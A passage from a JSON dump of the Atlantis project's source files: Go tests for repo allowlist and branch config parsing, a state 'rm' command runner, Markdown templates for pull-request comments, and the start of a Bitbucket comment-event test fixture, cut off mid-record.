string\n\t}{\n\t\t{\n\t\t\t\"://\",\n\t\t\t`allowlist \"://\" contained ://`,\n\t\t},\n\t\t{\n\t\t\t\"valid/*,https://bitbucket.org/*\",\n\t\t\t`allowlist \"https://bitbucket.org/*\" contained ://`,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.allowlist, func(t *testing.T) {\n\t\t\t_, err := events.NewRepoAllowlistChecker(c.allowlist)\n\t\t\tErrEquals(t, c.expErr, err)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/repo_branch_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestRepoBranch(t *testing.T) {\n\tglobalYAML := `repos:\n  - id: github.com/foo/bar\n    branch: /release/.*/\n    apply_requirements: [approved, mergeable]\n    allowed_overrides: [workflow]\n    allowed_workflows: [development, production]\n    allow_custom_workflows: true\nworkflows:\n  development:\n    plan:\n      steps:\n        - run: 'echo \"Executing test workflow: terraform plan in ...\"'\n        - init:\n            extra_args: [\"-upgrade\"]\n        - plan\n    apply:\n      steps:\n        - run: 'echo \"Executing test workflow: terraform apply in ...\"'\n        - apply\n  production:\n    plan:\n      steps:\n        - run: 'echo \"Executing production workflow: terraform plan in ...\"'\n        - init:\n            extra_args: [\"-upgrade\"]\n        - plan\n    apply:\n      steps:\n        - run: 'echo \"Executing production workflow: terraform apply in ...\"'\n        - apply\n`\n\n\trepoYAML := `version: 3\nprojects:\n  - name: development\n    branch: /main/\n    dir: terraform/development\n    workflow: development\n    autoplan:\n      when_modified:\n        - \"**/*\"\n  - name: production\n    branch: /production/\n    dir: terraform/production\n    workflow: production\n    autoplan:\n      when_modified:\n        - \"**/*\"\n`\n\n\ttmp := t.TempDir()\n\n\tglobalYAMLPath := filepath.Join(tmp, \"config.yaml\")\n\terr := os.WriteFile(globalYAMLPath, []byte(globalYAML), 0600)\n\trequire.NoError(t, err)\n\n\tglobalCfgArgs := valid.GlobalCfgArgs{}\n\n\tparser := &config.ParserValidator{}\n\tglobal, err := parser.ParseGlobalCfg(globalYAMLPath, valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\trequire.NoError(t, err)\n\n\trepoYAMLPath := filepath.Join(tmp, \"atlantis.yaml\")\n\terr = os.WriteFile(repoYAMLPath, []byte(repoYAML), 0600)\n\trequire.NoError(t, err)\n\n\trepo, err := parser.ParseRepoCfg(tmp, global, \"github.com/foo/bar\", \"main\")\n\trequire.NoError(t, err)\n\n\trequire.Len(t, repo.Projects, 1)\n\n\tt.Logf(\"Projects: %+v\", repo.Projects)\n}\n"
  },
  {
    "path": "server/events/state_command_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\nfunc NewStateCommandRunner(\n\tpullUpdater *PullUpdater,\n\tprjCmdBuilder ProjectStateCommandBuilder,\n\tprjCmdRunner ProjectStateCommandRunner,\n) *StateCommandRunner {\n\treturn &StateCommandRunner{\n\t\tpullUpdater:   pullUpdater,\n\t\tprjCmdBuilder: prjCmdBuilder,\n\t\tprjCmdRunner:  prjCmdRunner,\n\t}\n}\n\ntype StateCommandRunner struct {\n\tpullUpdater   *PullUpdater\n\tprjCmdBuilder ProjectStateCommandBuilder\n\tprjCmdRunner  ProjectStateCommandRunner\n}\n\nfunc (v *StateCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) {\n\tvar result command.Result\n\tswitch cmd.SubName {\n\tcase \"rm\":\n\t\tresult = v.runRm(ctx, cmd)\n\tdefault:\n\t\tresult = command.Result{\n\t\t\tFailure: fmt.Sprintf(\"unknown state subcommand %s\", cmd.SubName),\n\t\t}\n\t}\n\tv.pullUpdater.updatePull(ctx, cmd, result)\n}\n\nfunc (v *StateCommandRunner) runRm(ctx *command.Context, cmd *CommentCommand) command.Result {\n\tprojectCmds, err := v.prjCmdBuilder.BuildStateRmCommands(ctx, cmd)\n\tif err != nil {\n\t\tctx.Log.Warn(\"Error %s\", err)\n\t}\n\treturn runProjectCmds(projectCmds, v.prjCmdRunner.StateRm)\n}\n"
  },
  {
    "path": "server/events/templates/apply_unwrapped_success.tmpl",
    "content": "{{ define \"applyUnwrappedSuccess\" -}}\n```diff\n{{ .Output }}\n```\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/apply_wrapped_success.tmpl",
    "content": "{{ define \"applyWrappedSuccess\" -}}\n<details><summary>Show Output</summary>\n\n{{ template \"applyUnwrappedSuccess\" . }}\n</details>\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/approve_all_projects.tmpl",
    "content": "{{ define \"approveAllProjects\" -}}\nApproved Policies for {{ len .Results }} projects:\n\n{{ range $result := .Results -}}\n1. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n{{ end -}}\n{{- template \"log\" . -}}\n{{ end }}\n"
  },
  {
    "path": "server/events/templates/failure.tmpl",
    "content": "{{ define \"failure\" -}}\n**{{ .Command }} Failed**: {{ .Failure }}\n{{- if ne .RenderedContext \"\"}}\n{{ .RenderedContext }}\n{{- end }}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/failure_with_log.tmpl",
    "content": "{{ define \"failureWithLog\" -}}\n{{ template \"failure\" . -}}\n{{- template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/import_success_unwrapped.tmpl",
    "content": "{{ define \"importSuccessUnwrapped\" -}}\n```diff\n{{ .Output }}\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  {{.RePlanCmd}}\n  ```\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/import_success_wrapped.tmpl",
    "content": "{{ define \"importSuccessWrapped\" -}}\n<details><summary>Show Output</summary>\n\n```diff\n{{ .Output }}\n```\n</details>\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  {{ .RePlanCmd }}\n  ```\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/log.tmpl",
    "content": "{{ define \"log\" -}}\n{{ if .Verbose -}}\n<details><summary>Log</summary>\n<p>\n\n```\n{{.Log}}```\n</p></details>\n{{ end -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/merged_again.tmpl",
    "content": "{{ define \"mergedAgain\" -}}\n{{ if .MergedAgain -}}\n:twisted_rightwards_arrows: Upstream was modified, a new merge was performed.\n{{ end -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/multi_project_apply.tmpl",
    "content": "{{ define \"multiProjectApply\" -}}\n{{ template \"multiProjectHeader\" . -}}\n{{ range $i, $result := .Results -}}\n### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n{{ $result.Rendered }}\n\n---\n{{ end -}}\n{{ template \"multiProjectApplyFooter\" . -}}\n{{ template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/multi_project_apply_footer.tmpl",
    "content": "{{ define \"multiProjectApplyFooter\" -}}\n{{ if (gt (len .Results) 1) -}}\n### Apply Summary\n\n{{ len .Results }} projects, {{ .NumApplySuccesses }} successful, {{ .NumApplyFailures }} failed, {{ .NumApplyErrors }} errored\n{{ end -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/multi_project_header.tmpl",
    "content": "{{ define \"multiProjectHeader\" -}}\nRan {{.Command}} for {{ len .Results }} projects:\n\n{{ range $result := .Results -}}\n1. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n{{ end -}}\n{{ if (gt (len .Results) 0) -}}\n---\n\n{{ end -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/multi_project_import.tmpl",
    "content": "{{ define \"multiProjectImport\" -}}\n{{ template \"multiProjectHeader\" . -}}\n{{ range $i, $result := .Results -}}\n### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n{{ $result.Rendered }}\n\n---\n{{ end -}}\n{{- template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/multi_project_plan.tmpl",
    "content": "{{ define \"multiProjectPlan\" -}}\n{{ template \"multiProjectHeader\" . -}}\n{{ $disableApplyAll := .DisableApplyAll -}}\n{{ $hideUnchangedPlans := .HideUnchangedPlanComments -}}\n{{ range $i, $result := .Results -}}\n{{ if (and $hideUnchangedPlans $result.NoChanges) }}{{continue}}{{end -}}\n### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n{{ $result.Rendered }}\n\n---\n{{ end -}}\n{{ template \"multiProjectPlanFooter\" . -}}\n{{ template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/multi_project_plan_footer.tmpl",
    "content": "{{ define \"multiProjectPlanFooter\" -}}\n{{ if and (gt (len .Results) 0) -}}\n### Plan Summary\n\n{{ len .Results }} projects, {{ .NumPlansWithChanges }} with changes, {{ .NumPlansWithNoChanges }} with no changes, {{ .NumPlanFailures }} failed\n{{ if and (not .PlansDeleted) (ne .DisableApplyAll true) }}\n* :fast_forward: To **apply** all unapplied plans from this {{ .VcsRequestType }}, comment:\n  ```shell\n  {{ .ExecutableName }} apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment:\n  ```shell\n  {{ .ExecutableName }} unlock\n  ```\n{{ end -}}\n{{ end -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/multi_project_policy.tmpl",
    "content": "{{ define \"multiProjectPolicy\" -}}\n{{ template \"multiProjectHeader\" . -}}\n{{ $disableApplyAll := .DisableApplyAll -}}\n{{ $hideUnchangedPlans := .HideUnchangedPlanComments -}}\n{{ $quietPolicyChecks := .QuietPolicyChecks -}}\n{{ range $i, $result := .Results -}}\n{{ if (and $hideUnchangedPlans $result.NoChanges) }}{{continue}}{{end -}}\n{{ if (and $quietPolicyChecks $result.IsSuccessful) }}{{continue}}{{end -}}\n### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n{{ $result.Rendered }}\n\n{{ if ne $disableApplyAll true -}}\n---\n{{ end -}}\n{{ end -}}\n{{ if ne .DisableApplyAll true -}}\n{{ if and (gt (len .Results) 0) (not .PlansDeleted) -}}\n* :fast_forward: To **apply** all unapplied plans from this {{ .VcsRequestType }}, comment:\n  ```shell\n  {{ .ExecutableName }} apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment:\n  ```shell\n  {{ .ExecutableName }} unlock\n  ```\n{{ end -}}\n{{ end -}}\n{{ template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/multi_project_policy_unsuccessful.tmpl",
    "content": "{{ define \"multiProjectPolicyUnsuccessful\" -}}\n{{ template \"multiProjectHeader\" . -}}\n{{ $disableApplyAll := .DisableApplyAll -}}\n{{ $quietPolicyChecks := .QuietPolicyChecks -}}\n{{ range $i, $result := .Results -}}\n{{ if (and $quietPolicyChecks $result.IsSuccessful) }}{{continue}}{{end -}}\n### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n{{ $result.Rendered }}\n\n{{ if ne $disableApplyAll true -}}\n---\n{{ end -}}\n{{ end -}}\n{{ if ne .DisableApplyAll true -}}\n{{ if and (gt (len .Results) 0) (not .PlansDeleted) -}}\n* :heavy_check_mark: To **approve** all unapplied plans from this {{ .VcsRequestType }}, comment:\n  ```shell\n  {{ .ExecutableName }} approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment:\n  ```shell\n  {{ .ExecutableName }} unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  {{ .ExecutableName }} plan\n  ```\n{{ end -}}\n{{ end -}}\n{{- template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/multi_project_state_rm.tmpl",
    "content": "{{ define \"multiProjectStateRm\" -}}\n{{ template \"multiProjectHeader\" . -}}\n{{ range $i, $result := .Results -}}\n### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n{{ $result.Rendered}}\n\n---\n{{ end -}}\n{{- template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/multi_project_version.tmpl",
    "content": "{{ define \"multiProjectVersion\" -}}\n{{ template \"multiProjectHeader\" . -}}\n{{ range $i, $result := .Results -}}\n### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n{{ $result.Rendered}}\n\n---\n{{ end -}}\n{{- template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/plan_success_unwrapped.tmpl",
    "content": "{{ define \"planSuccessUnwrapped\" -}}\n```diff\n{{ if .EnableDiffMarkdownFormat }}{{ .DiffMarkdownFormattedTerraformOutput }}{{ else }}{{ .TerraformOutput }}{{ end }}\n```\n\n{{ if .PlanWasDeleted -}}\nThis plan was not saved because one or more projects failed and automerge requires all plans pass.\n{{ else -}}\n{{ if not .DisableApply -}}\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  {{ .ApplyCmd }}\n  ```\n{{ end -}}\n{{ if not .DisableRepoLocking -}}\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here]({{ .LockURL }})\n{{ end -}}\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  {{ .RePlanCmd }}\n  ```\n{{ end -}}\n{{ template \"mergedAgain\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/plan_success_wrapped.tmpl",
    "content": "{{ define \"planSuccessWrapped\" -}}\n<details><summary>Show Output</summary>\n\n```diff\n{{ if .EnableDiffMarkdownFormat }}{{ .DiffMarkdownFormattedTerraformOutput }}{{ else }}{{ .TerraformOutput }}{{ end }}\n```\n</details>\n\n{{ if .PlanWasDeleted -}}\nThis plan was not saved because one or more projects failed and automerge requires all plans pass.\n{{ else -}}\n{{ if not .DisableApply -}}\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  {{ .ApplyCmd }}\n  ```\n{{ end -}}\n{{ if not .DisableRepoLocking -}}\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here]({{ .LockURL }})\n{{ end -}}\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  {{ .RePlanCmd }}\n  ```\n{{ end -}}\n{{ .PlanSummary }}\n{{ template \"mergedAgain\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/policy_check.tmpl",
    "content": "{{ define \"policyCheck\" -}}\n{{ $policy_sets := . }}\n{{ range $ps, $policy_sets }}\n#### Policy Set: `{{ $ps.PolicySetName }}`\n```diff\n{{ $ps.PolicyOutput }}\n```\n{{ end }}\n{{ end }}\n"
  },
  {
    "path": "server/events/templates/policy_check_results_unwrapped.tmpl",
    "content": "{{ define \"policyCheckResultsUnwrapped\" -}}\n{{- if eq .Command \"Policy Check\" }}\n{{- if ne .PreConftestOutput \"\" }}\n```diff\n{{ .PreConftestOutput }}\n```\n{{- end -}}\n{{ template \"policyCheck\" .PolicySetResults }}\n{{- if ne .PostConftestOutput \"\" }}\n```diff\n{{ .PostConftestOutput }}\n```\n{{ end -}}\n{{- end }}\n{{- if .PolicyCleared }}\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  {{ .ApplyCmd }}\n  ```\n{{- else }}\n#### Policy Approval Status:\n```\n{{ .PolicyApprovalSummary }}\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  {{ .ApprovePoliciesCmd }}\n  ```\n{{- end }}\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here]({{ .LockURL }})\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  {{ .RePlanCmd }}\n  ```\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/policy_check_results_wrapped.tmpl",
    "content": "{{ define \"policyCheckResultsWrapped\" -}}\n<details><summary>Show Output</summary>\n{{- if eq .Command \"Policy Check\" }}\n{{- if ne .PreConftestOutput \"\" }}\n\n```diff\n{{ .PreConftestOutput }}\n```\n\n{{- end -}}\n{{ template \"policyCheck\" .PolicySetResults }}\n{{- if ne .PostConftestOutput \"\" }}\n```diff\n{{ .PostConftestOutput }}\n```\n{{ end -}}\n{{- end }}\n{{- if .PolicyCleared }}\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  {{ .ApplyCmd }}\n  ```\n{{- else }}\n</details>\n\n#### Policy Approval Status:\n```\n{{ .PolicyApprovalSummary }}\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  {{ .ApprovePoliciesCmd }}\n  ```\n{{- end }}\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here]({{ .LockURL }})\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  {{ .RePlanCmd }}\n  ```\n{{- if eq .Command \"Policy Check\" }}\n\n{{- if ne .PolicyCheckSummary \"\" }}\n```\n{{ .PolicyCheckSummary }}\n```\n{{- end }}\n\n{{- end }}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/single_project_apply.tmpl",
    "content": "{{ define \"singleProjectApply\" -}}\n{{ $result := index .Results 0 -}}\nRan {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n\n{{ $result.Rendered }}\n{{ template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/single_project_import_success.tmpl",
    "content": "{{ define \"singleProjectImport\" -}}\n{{ $result := index .Results 0 -}}\nRan {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n\n{{ $result.Rendered }}\n{{ template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/single_project_plan_success.tmpl",
    "content": "{{ define \"singleProjectPlanSuccess\" -}}\n{{ $result := index .Results 0 -}}\nRan {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n\n{{ $result.Rendered }}\n{{ if ne .DisableApplyAll true }}\n---\n* :fast_forward: To **apply** all unapplied plans from this {{ .VcsRequestType }}, comment:\n  ```shell\n  {{ .ExecutableName }} apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment:\n  ```shell\n  {{ .ExecutableName }} unlock\n  ```\n{{ end -}}\n{{ template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/single_project_plan_unsuccessful.tmpl",
    "content": "{{ define \"singleProjectPlanUnsuccessful\" -}}\n{{ $result := index .Results 0 -}}\nRan {{ .Command }} for dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n\n{{ $result.Rendered }}\n{{ template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/single_project_policy_unsuccessful.tmpl",
    "content": "{{ define \"singleProjectPolicyUnsuccessful\" -}}\n{{ $result := index .Results 0 -}}\nRan {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n\n{{ $result.Rendered }}\n{{ if ne .DisableApplyAll true -}}\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this {{ .VcsRequestType }}, comment:\n  ```shell\n  {{ .ExecutableName }} approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment:\n  ```shell\n  {{ .ExecutableName }} unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  {{ .ExecutableName }} plan\n  ```\n{{ end -}}\n{{- template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/single_project_state_rm_success.tmpl",
    "content": "{{ define \"singleProjectStateRm\" -}}\n{{$result := index .Results 0}}Ran {{.Command}} `{{.SubCommand}}` for {{ if $result.ProjectName }}project: `{{$result.ProjectName}}` {{ end }}dir: `{{$result.RepoRelDir}}` workspace: `{{$result.Workspace}}`\n\n{{$result.Rendered}}\n{{ template \"log\" . }}\n{{ end }}\n"
  },
  {
    "path": "server/events/templates/single_project_version_success.tmpl",
    "content": "{{ define \"singleProjectVersionSuccess\" -}}\n{{ $result := index .Results 0 -}}\nRan {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}`\n\n{{ $result.Rendered }}\n{{- template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/single_project_version_unsuccessful.tmpl",
    "content": "{{ define \"singleProjectVersionUnsuccessful\" -}}\n{{ template \"singleProjectPlanUnsuccessful\" . }}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/state_rm_success_unwrapped.tmpl",
    "content": "{{ define \"stateRmSuccessUnwrapped\" -}}\n```diff\n{{ .Output }}\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  {{.RePlanCmd}}\n  ```\n{{ end }}\n"
  },
  {
    "path": "server/events/templates/state_rm_success_wrapped.tmpl",
    "content": "{{ define \"stateRmSuccessWrapped\" -}}\n<details><summary>Show Output</summary>\n\n```diff\n{{ .Output }}\n```\n</details>\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  {{.RePlanCmd}}\n  ```\n{{ end }}\n"
  },
  {
    "path": "server/events/templates/unwrapped_err.tmpl",
    "content": "{{ define \"unwrappedErr\" -}}\n**{{ .Command }} Error**\n```\n{{ .Error }}\n```\n{{ if ne .RenderedContext \"\" -}}\n{{ .RenderedContext }}\n{{ end -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/unwrapped_err_with_log.tmpl",
    "content": "{{ define \"unwrappedErrWithLog\" -}}\n{{ template \"unwrappedErr\" . }}\n{{- template \"log\" . -}}\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/version_unwrapped_success.tmpl",
    "content": "{{ define \"versionUnwrappedSuccess\" -}}\n```\n{{ .Output }}\n```\n{{ end }}\n"
  },
  {
    "path": "server/events/templates/version_wrapped_success.tmpl",
    "content": "{{ define \"versionWrappedSuccess\" -}}\n<details><summary>Show Output</summary>\n\n{{ template \"versionUnwrappedSuccess\" . }}\n</details>\n{{ end -}}\n"
  },
  {
    "path": "server/events/templates/wrapped_err.tmpl",
    "content": "{{ define \"wrappedErr\" -}}\n**{{ .Command }} Error**\n<details><summary>Show Output</summary>\n\n```\n{{ .Error }}\n```\n{{- if ne .RenderedContext \"\" }}\n{{ .RenderedContext }}\n{{- end }}\n</details>\n{{ end -}}\n"
  },
  {
    "path": "server/events/testdata/bitbucket-cloud-comment-event.json",
    "content": "{\n  \"comment\": {\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/comments/70506195\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/2/_/diff#comment-70506195\"\n      }\n    },\n    \"deleted\": false,\n    \"pullrequest\": {\n      \"type\": \"pullrequest\",\n      \"id\": 2,\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/2\"\n        }\n      },\n      \"title\": \"main.tf edited online with Bitbucket\"\n    },\n    \"content\": {\n      \"raw\": \"my comment\",\n      \"markup\": \"markdown\",\n      \"html\": \"my comment\",\n      \"type\": \"rendered\"\n    },\n    \"created_on\": \"2018-07-19T19:51:50.607374+00:00\",\n    \"user\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/lkysow\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bitbucket.org/account/lkysow/avatar/\"\n        }\n      },\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    },\n    \"updated_on\": \"2018-07-19T19:51:50.615436+00:00\",\n    \"type\": \"pullrequest_comment\",\n    \"id\": 70506195\n  },\n  \"pullrequest\": {\n    \"type\": \"pullrequest\",\n    \"description\": \"main.tf edited online with Bitbucket\",\n    \"links\": {\n      \"decline\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/decline\"\n      },\n      \"commits\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/commits\"\n      },\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2\"\n      },\n      \"comments\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/comments\"\n      },\n      \"merge\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/merge\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/2\"\n      },\n      \"activity\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/activity\"\n      },\n      \"diff\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/diff\"\n      },\n      \"approve\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/approve\"\n      },\n      \"statuses\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/statuses\"\n      }\n    },\n    \"title\": \"main.tf edited online with Bitbucket\",\n    \"close_source_branch\": true,\n    \"reviewers\": [],\n    \"id\": 2,\n    \"destination\": {\n      \"commit\": {\n        \"hash\": \"1ed8205eec00\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/1ed8205eec00\"\n          }\n        }\n      },\n      \"branch\": {\n        \"name\": \"main\"\n      },\n      \"repository\": {\n        \"full_name\": \"lkysow/atlantis-example\",\n        \"type\": \"repository\",\n        \"name\": \"atlantis-example\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n          },\n          \"avatar\": {\n            \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n          }\n        },\n        \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n      }\n    },\n    \"comment_count\": 10,\n    \"summary\": {\n      \"raw\": \"main.tf edited online with Bitbucket\",\n      \"markup\": \"markdown\",\n      \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n      \"type\": \"rendered\"\n    },\n    \"source\": {\n      \"commit\": {\n        \"hash\": \"e0624da46d3a\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow-fork/atlantis-example/commit/e0624da46d3a\"\n          }\n        }\n      },\n      \"branch\": {\n        \"name\": \"lkysow/maintf-edited-online-with-bitbucket-1532029690581\"\n      },\n      \"repository\": {\n        \"full_name\": \"lkysow-fork/atlantis-example\",\n        \"type\": \"repository\",\n        \"name\": \"atlantis-example\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow-fork/atlantis-example\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow-fork/atlantis-example\"\n          },\n          \"avatar\": {\n            \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n          }\n        },\n        \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n      }\n    },\n    \"state\": \"MERGED\",\n    \"author\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": 